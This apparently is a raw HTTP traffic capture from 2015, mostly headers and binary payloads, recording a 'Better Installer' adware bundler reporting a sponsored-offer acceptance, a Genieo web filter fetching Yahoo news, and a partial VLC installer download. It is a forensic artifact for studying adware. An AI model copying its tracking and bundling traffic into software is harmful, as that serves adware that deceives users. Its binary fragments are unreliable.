.......3.[..#.z....ko.I..Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x....
..W............j....&L. 2.$.?...X?.#.(.....pK.v.......y..r....t...

<<< skipped >>>

GET /cnnnext/dam/assets/150515194152-ramadi-forces-firing-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 32462

Cache-Control: max-age=4599

Expires: Sat, 16 May 2015 00:21:39 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
@.........................!1A..Qa."q..2..#B...3R...$...Cb.%4r.c.......
.........................'......................!.1.A"Q.2a.Bq.$.......
.....?.....nH.[<....n..Z....k..R=.{6...d.g..-p..rhx.!..[....X.j@...
. ..S...?.s....P.u.........r..a.... .5q{:>/R-..X>.. c.....cI.3..
*.t..C1[1m...........E.2N.....y.M.t.9"83.L.....n..r......#.#.3..7.mQm~
N3.Y...?q.TO.i.h.4...v:.1.{b.....i. #..*..l.G.qU.....E..f.o.Lsas.:..W.
V....Y`.iW[.2....U..........U..R...-..4.....p...e......cD?Si...5.....T
sN..#5..W#[email protected]<...<......I...F]_.d....d.[...Z.p...
..\_I%......S.....}..{..$ l...HQ.Q.G(.);6..Y.......Jy.Ik.,../.n7...o.o
j.i..P.x'.A$.Gl.3.....|.....b...........Z2..H.(....~...T..<..y...H.
......jM{...{..`..U-.SQ.]#El.....z.P.  r...3.EH..OZ]hq...e.iM....!..j?
/R3....O98.4..D..IrR%...(..I=...4m...%.......,....8....[.iu"..g.......
.........4[5.7]C..`A............\.8<d.............S...v.w....c...."
..E..D..l....p....k"..`6..Lt..z..ee.*.....5..d.2.{..nN....G$1.....y./.
`....`....#\.:...F]C...'[email protected]....(.D$a ..................Sp
.}k.....GVEQ..oj..."!.. ..s.DR=.e}..9.%Xw...^....k.|...>o..oi.k.*..
..N0...".B...A......$..."(.....x.. ../...CY....w..v.u..........l....j.
&..D..9...^.....'....9..p.FB...0S,.......Ke....]....ca&7g.p~.........Z
...K.X0....>...,c.1..Y..;6.........)[email protected].<<< skipped >>>

GET /cnnnext/dam/assets/150514114639-01-burundi-unrest-0514-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 48613

Cache-Control: max-age=3342

Expires: Sat, 16 May 2015 00:00:43 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..L.........................!..."1A..Qa2q...#B..R..$3b....Cr...L.Ss.
....&D..................................7.......................!1..A.
"2Qaq.....#....3BR....r.............?.....].]...$..5......U.$.pur.u.s.
d..I,.k.5A.M\..I%.$g....\F5..J..CU.V.J....s......... ..5..]z.=..V.?}].
.5ZI*.z.V...Iz..^8.....i$..k.1.t.U.....:I .Z...I%k0Q....e*..>.V.=.1
'.h....q........8G..B.b..i.~.*.B}t?.]......ep..x....F.="......IU.6y.$.
>.N....<h.1...Q....<..Q........19.'.....`vs.......V.?..*6A..)
..{I,..u......{...h,.P...F.s."Z..g..c...J{.n.o...B.S.;.'..E.~g..>.Y
[email protected]>.....~z...Sr.....{=.V...(c../....
.2I...<...#Iu5d .;.8.h...q.G....N........&2.y...y.....u.wm[$....v.U
.gn......rB..(.......3R.m...$_2.....&r1.I.........j....7..0j.ef.c..g..
}....68x%.....5.......O]--..6....VD...).S....>......;fk.e..pY...{um
..G...g.B......n}Nt-.lG_;$/4..yT..y.I..{R...7.......O...{.FA..l......q
.t.......}.%-0z......QN....?.{X...u d.....].vl .^....b{...% .dGV#.8.n.
s.L. !Z&us..b..Tt.^:Z..<.&.....@.'....FN..3`.hk...*....]v.....z.{..
.f.3.ti.2x.w......U..Pd.;...GG..D..^......uwqY`....(.WKs..5l....P.....
2J..}C.T.z_...z..{;>.y...W.M<J`......)!F.....DY.A.. ....&..]./v.
.v..k.......).gb....9'..q..[.}.M..N.....-$.rE.T....G.I'/.a..F.r]d..]3.
I5.}('|0..[...}.\.y..y..D..Zu..9$..O.<.....JkM...J..UD.G...A[..<<< skipped >>>

GET /cnnnext/dam/assets/150515090525-01-amtrak-0515-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 54873

Cache-Control: max-age=6826

Expires: Sat, 16 May 2015 00:58:48 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.F.........................!.1.."AQ.a.2q..#B..R.$b....3r..C..%.&DS.T..
................................3.......................!1.A."Qaq2..B.
.....#3...R.............?..j........a...I.",R.d....:.-.O.......9V.....
....g......[m.T.......e.......c.u7[.rK#Hc.61.........,,.$.k5...=T...q.
2g...............:....e' ..0..>.[#.i.. .UB.A).....$.H'......=;f.h..
.."!.9.....c$.............U.O.Wy.6.,e....q.O..t.5]L.Y.X.(j7$.d..H,..'.
..GKu..Q[.........$Wy.`..|..0A..c`.Yd.[..E....j.$.....I#w..=..\j....]&
lt;...^.) -(.U.5.rp.X.x?.mK..q..CV..M../[IC....>.YH.d..kT.znW*Z.E .
z..Ia`.M.2..v._%...nW........=.....p<~..Q<...nyl}.(.<U. .....
[email protected]"...b..CO.M<. .r..#..*....
..p>5.[......I....FG.....s.....6..=..[.... f.c...i......WOk..8.?...
..i7.Ns.>....H.$G.....e.9...F.\ .h$..*!.1..b&Ic.ck/............'.Q 
9..i2........i.K.e....ug.Im.u5.U*.OG<O&..C..,l.=...t..Mv..&[`...?..
u$....".>...m..S.wF..6......s.o...9.................JE...l(......Xb
../.GCh..W...R...........>.....o.SIt..M...J.$....v.....s..c..h..H..
...z......[..0h.......#..6.=....r...\Zi....,...i..<...........VU...
..'..36D..y5fh.q.._.n....v.%].v........E]$.u..RUP......I..v~s... ...B.
...:Z...:......O.....o.v..?.....:K.k.......Ko......&...*0.L.p.........
:_.....t...-......C.A..2rO'.T.z.._..e<.v.......c.X~.r!>....z<<< skipped >>>

GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3921

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 22:46:28 GMT

Last-Modified: Thu, 14 May 2015 08:30:04 GMT

ETag: "55545d0c-f51"

Expires: Fri, 15 May 2015 22:56:28 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

X-Cache: RefreshHit from cloudfront

Via: 1.1 2789f57a191cda188474bba6a2541f3a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8zdduCETSkqCnWuNMviYVr-ZOAs0OQ6NePi1HKuQuoMGY2fzMCKbIw==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"[email protected].*....RJ!Q..I..8AO...Q.t.z..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&0.6510231396219358 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:17 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:17 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /business/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 9g0vbptalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache15.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache15.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache6.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache6.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache15.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache6.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts289.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 24

Transfer-Encoding: chunked

Connection: keep-alive
7a7.............XYo.8.~...F.l.`....%qv..L.C..Nc&...J.,v(Q#.q....)R.-;v
....k..H...W.*.........k............I."f.B....E.....nr^.#...R....Ii..)
.O.b.-.g.....FB\........4.Al...#...\.:.C.9.(I.G3.q.JuzM*..zM*R.QAg..Q.
shO.:g9<..8...{N.A..L........6.......G#K....}..8#..j....<......(
.8=}1...R..t&.....1...dB.....&..;.opRH\V4.*..V^...B......B..#.Mm...j.J
p...,.h.>..8s.&..s.b...>.qB....V.'s=.>...QR.Q.$.....hL.....*.
.....=.=...$j.E......K......z....'......!..B9.W-\..7....L99M.qJ..rQ8,'
.*..\kqc.#....z.-.'`.AmAr.A....L..Z .)p]7.x......E..K0..|...:..6z-.,%.
J......Th._...l._i%.v....V$(.(.b..Em... b>M....d...$JV.-...(WLR..Qi
....vL.Q..pk..Z...N#......J..R...FG.,.,i.:t.A....0..#&Gk.._v.]...ZF7.\
E..).....u<... v.?..l......U:....o.;..........=........?W......3 x.
..#E..o0_...M...1....`.....,&.v$..c.....{.wwq.[.....c....jF#m...i....#
`....S.VG:....i..j.........j...Eh.....1y...9...ji.C8.".\.........s....
,..~7L...vG....J}Y..HhbS_F...b....q...w......S...J..J|...[."'.M....}..
..Cf,nf..n.k=.U..d?b..{3.>.a.D....Z.^...k....<]...RH.<.u..5..
F'.J...".......cR....qN.....#.. 5.8".<..$E..W;d]3: E...3..l.P(1A...
w...\...Qx.Z..,.?...E...\.z..S.O=....d..q..L....{.W......5.Rw'U.i...".
z;..Y..?.*2..4....njK..)..Q.../.N$V.a4;...Zl.wr..,...FK..F...#..x.. ;.
I...T.:.5...q.`k........u.?Z)9^...|!S.....{.I.@...._.K....|.1.tjQ.....
..m...go.....2.....I,..H..M.B...xW..7....]..........P.T.I.....C.s...9.
...~<.ODD$u...z7(..W:..........7.V"..f....p.n.G....K.S4.X"A......}.
...(.i.....k.........`8.=NDc9..u...a.....{...`..x......x^?...;...T<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: private

Content-Length: 5430

Content-Type: image/x-icon

Date: Fri, 15 May 2015 23:00:02 GMT

ETag: "YM:1:d8c23aff-97ec-4cae-83b6-5a3fd7414c6d00051625f755a372"

Expires: Sat, 16 May 2015 23:00:01 GMT

Last-Modified: Fri, 15 May 2015 22:00:02 GMT

Server: ATS

x-ysws-request-id: 32ccd212-f7e7-4a2e-a4a3-1a106171b1d2

x-ysws-visited-replicas: gops.use26.mobstor.vip.bf1.yahoo.com

Age: 304

X-Cache: HIT from logo2.global.media.bf1.yahoo.com

X-Cache-Lookup: HIT from logo2.global.media.bf1.yahoo.com:80

Via: HTTP/1.1 web5.use26.mobstor.bf1.yahoo.com UserFiberFramework/1.0, 1.0 logo2.global.media.bf1.yahoo.com:80 (squid/2.7.STABLE9), http/1.0 l6.ycs.dea.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Connection: keep-alive
......  .... .....&......... .h.......(... ...@..... .................
..........;.p.5.o.6.o.6Dd.0...........................................
..............................................d.0.o.6Do.6.o.4...;...;.
p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2...........................
......m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.
v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.
5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.
x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.
6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;.
..<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9
.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;..
.<...=...=...>...>...?...=...>...>...>...>...>
...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...
9...;...;...;...;...<...>...>[email protected]................
[email protected]...?...>...>...>...>...=...;...<.}.8.v.5...
;...;.z.7...:...<...<...>...?...?...A...A...B...C...C...D....
...............D...C...B...C...C...B...B...?...>...>...<.}.8.
z.7...;...;...9...<...?...>[email protected].
..................G...F...G...F...E...D...D...B...A...A...>...<.
z.8...;...;...8...=...A...A...A...B...D...D...F...F...F...H...H.......
............H...H...H...G...G...F...E...D...B...A...A...<.z.8...;..
.;...;...?...C...D...C...D...F...G...H...I...J...J...K............<<< skipped >>>

GET /rss/us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:12 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 5k1472lalcut8

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:10:12 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts289.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cSsSfU])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
0002f58.............}.r.H..{.E.6b.;.E..E.....bK.n-.../..P$a..(@4.4.p.e
.6b..|.|...*..,..(.v.'<m....2.2.........].T.q...Uo.1....G....l..k.|
...T).OFj3../~_.gY.....H.q}*.q\w.p=.'..f#.0"...E...>e~...o.guv$'..I
..~$...=.....g..........t..R.,W.......yR...d0...2c.X.@dRe.&.W...l..au.
:{.G.sR).`..wj... G.0..`.|..<.'~..1....~Aeq.KU..^... .Q.F.....3...7
`&N..?.g...O...Wf7.v..~..Y?....X*.L/..l}..O......?...5./.......l66.m..
.F..z. .#......R..5D_.By..O........j.[..>....C.........~.-...D.g.8.
O...H.L....[1 ?.E."...'......i$.%S2......b....0N.AM&.L.....X..A.[..Q..
~.l..a.......<[email protected]:...|....[V.n...F}...Z1.....-...3.9.
.H.u..u.n.7.M.....|..{......r..|.....8..'....<..3............>n.
....lxW.O.W}.n..-^...P.|2..tD....<.5.#_.F.[..m5..............n.v-..
.................o..n...<.....A....56..l.r..rg,..._.v..........@...
.$..HI.U.FrJ....;W..b,f...........C..C......y...0....q~... ..l..[|Sp.8
..._.,...........q...A.I.L...%....%[email protected].. l.EA.H.M{..2.e.r4.A.;..x.
. Ay......4.l5.......8&l*...'.......?......T!.p.7.'.._=`*\...&...F....
t..j.PV....RY.......!`7..^.:......ry. .~....EQ@..(h[5...c>..8...TP.
..&.].`'......T.X. .;~.gS$}*.)..;.h....e....`...<..Pfa..|.j.....K..
.7.8..... .T.J.......E Y.....5"F..m'....=...`...Yf.......:;.R."d.>h
..3..z.C......U!r..1{X.T.h..v}4...`....A.v..l....S.7...*..8..0.......$
.M...m..D.rD.5.JD.U'c....V...s....K..h.6R)[email protected]~..{..ot..U.3
.L.J...T.......O..=7....~..3`,[email protected]...:....i.M7F.....7.g.
4.MA....D.n.p....!..U&?ef...V....Y.  .de.... 3.P*....X..T.. ..#v..<<< skipped >>>

GET /rss/us HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:12 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 5k1472lalcut8

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:10:12 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts289.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 12199

Connection: keep-alive
...........}.r.H..{.E.6b.;.E..E.....bK.n-.../..P$a..(@4.4.p.e.6b..|.|.
..*..,..(.v.'<m....2.2.........].T.q...Uo.1....G....l..k.|...T).OFj
3../~_.gY.....H.q}*.q\w.p=.'..f#.0"...E...>e~...o.guv$'..I..~$...=.
....g..........t..R.,W.......yR...d0...2c.X.@dRe.&.W...l..au.:{.G.sR).
`..wj... G.0..`.|..<.'~..1....~Aeq.KU..^... .Q.F.....3...7`&N..?.g.
..O...Wf7.v..~..Y?....X*.L/..l}..O......?...5./.......l66.m...F..z. .#
......R..5D_.By..O........j.[..>....C.........~.-...D.g.8.O...H.L..
..[1 ?.E."...'......i$.%S2......b....0N.AM&.L.....X..A.[..Q..~.l..a...
....<[email protected]:...|....[V.n...F}...Z1.....-...3.9..H.u..u.n
.7.M.....|..{......r..|.....8..'....<..3............>n.....lxW.O
.W}.n..-^...P.|2..tD....<.5.#_.F.[..m5..............n.v-...........
........o..n...<.....A....56..l.r..rg,..._.v..........@....$..HI.U.
FrJ....;W..b,f...........C..C......y...0....q~... ..l..[|Sp.8..._.,...
........q...A.I.L...%....%[email protected].. l.EA.H.M{..2.e.r4.A.;..x.. Ay.....
.4.l5.......8&l*...'.......?......T!.p.7.'.._=`*\...&...F....t..j.PV..
..RY.......!`7..^.:......ry. .~....EQ@..(h[5...c>..8...TP...&.].`'.
.....T.X. .;~.gS$}*.)..;.h....e....`...<..Pfa..|.j.....K...7.8.....
 .T.J.......E Y.....5"F..m'....=...`...Yf.......:;.R."d.>h..3..z.C.
.....U!r..1{X.T.h..v}4...`....A.v..l....S.7...*..8..0.......$.M...m..D
.rD.5.JD.U'c....V...s....K..h.6R)[email protected]~..{..ot..U.3.L.J...T.
......O..=7....~..3`,[email protected]...:....i.M7F.....7.g.4.MA....D
.n.p....!..U&?ef...V....Y.  .de.... 3.P*....X..T.. ..#v..DD..r....<<< skipped >>>

GET /rss/topstories HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:15 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 8si4fvhalcurf

X-Frame-Options: SAMEORIGIN

Cache-Control: max-age=300, public

Expires: Fri, 15 May 2015 23:09:15 GMT

Content-Type: text/xml;charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding,X-Ssl

Age: 58

Via: http/1.1 yts298.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfU]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cHs f ])

Server: ATS

Content-Length: 15311

Connection: keep-alive
...........}.r.....<....5.*A...'.U.1N|.K.'s..IPbD...V...!..}..e?..$
...J.cgd.q...$.."[email protected].~...Q..d..*.m.V.6..]......".yg.?/~z.f..'.l .^
 ~...y....I....T....*......y.6....#..2.Oy....[|...I.8....s..2{.....y..
...J..-..U...7.o.s?=.d..A...M|[..B......><U..]Q.4.....N..=s.a.Uk
2...b..[e.0d.u.R...Jz.7.o..<).]....iPa.....Vj.-.........|.|.F../.0.
.Y.D.G_.%E..O..i........I/..6....e..w..Z.......I<|..M..|..h.......#
".....(..P...W)...L..."c*f.S.G"-..(............{.;......7;.v...s.-R...
.5...'="#......E..b..........Q.1xB...oE.D(..)PZ..$KBR...s5..0..... ..d
.2..`:..).. ..:.........A...}.].".Y/.D......$Q.c...|6>^d|6,..1q....
.z..y.. ...:........y......?.....*..J.../zY.....HZ.........7;.i$...o..
.3..b..=..._.2...."...M3...Y..(|7..h.].x....u. !?..D.r.K7...*..0.5..0.
[email protected].~..0.,.a.N..P.K.j.V.[o.9.....IV.%E..,K....
6..N.).`....U.M.Q.........e..`W}.x6.|.....q.{W^6C.~..3.w........`h....
'....'......4...W?.........&.$..n"._J/.lv.g9....n.Vk.[...m.....'...d..
&.........$N..6:...m..e.,c...&p*Y..\..*........8.qVf r..........F...."
4..u.4.F..0...../O..W...'....Z.Bs......Px2LF0|.#.....J...`U..``%;Q...;
*.....8.A.0e......9{....4K".n....'..Y.%2......0...I.f.......`X....q...
[email protected].(...".o#.A....nU..B.*W...0P8.\~..E...y...7.M....o.9*...m.\.
,-...Og/..z.{G.........k..@#.w_.....i'.o.%..o...5cN..:#...q..p.N....L.
......66V..h.P....qP`.. J..z.-.C.....p!...C.2.,/.P.S....~.Z5z%\...U...
|;)sC...6D.n.g.w..h....w...-.....q.U:d..[....L..~... .&`.h...>.w.2X
.\.~..\~.M [email protected]<<< skipped >>>

HEAD /us/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:13 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: brc9kd9alcut9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: MISS from ncache10.global.media.ir2.yahoo.com-2

X-Cache-Lookup: MISS from ncache10.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache5.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache5.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache10.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache5.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts296.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfD]), http/1.1 r10.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 0

Connection: keep-alive

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=11315181-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache



.G.W.'{...........R.-.X.XF....06l<x8CO?.>......>. #~_1 JN....
...=...i.....q...d.F...$.g......BSQn,P..G.. fI.....hJ...]....>.....
!.....&aHpMV..g..#%|P..\.?....5.j..7.........K.x.....w.";..pv..,'.(...
..A.>....J?....0...&a...imA..S..~..6...#....]..$8#$.&N..[..W.E...!o
MQ.......q.....FV.....B*.. |./..u._#....|..r.f..F..X....,..L&..Q......
...H..Z......&.. "9.........^.....2..NE..8.."........)..j.@......\...g
[email protected].*%..2rZ.D..JTK"=X?.F.i(}.
.H..x..Vx|....H%..1^q.....@/(..m........:.tM&...*Ii.qr)_.uX.....mI.d..
3....oe.6..[..$GT.3Sz..8.......|.....7...3..D.,:..C.z...E...?......)..
..0.Qd:l....t..)fm..hu.....3......l..}./....)f......... }&Z....f..2\..
.*..p...nc..v.W...,.....sO~....n............E..T.]..T.%...^.LlV#j....8
K...zn..H.."..t.s.....S..#[....),S..;([email protected]./&. .pa.3.W...0u?8
.}........Z....(<../.(r.....#c{oCGs.'..P...._Q...........<...8.$
<.\.#45....-KA.][email protected]\..m. .......nQ.Z...m...l......
..P9.E...AcE.Y.f.o6......F....|..AA .s...u.i.9^. ]?.*....s.._i..W3....
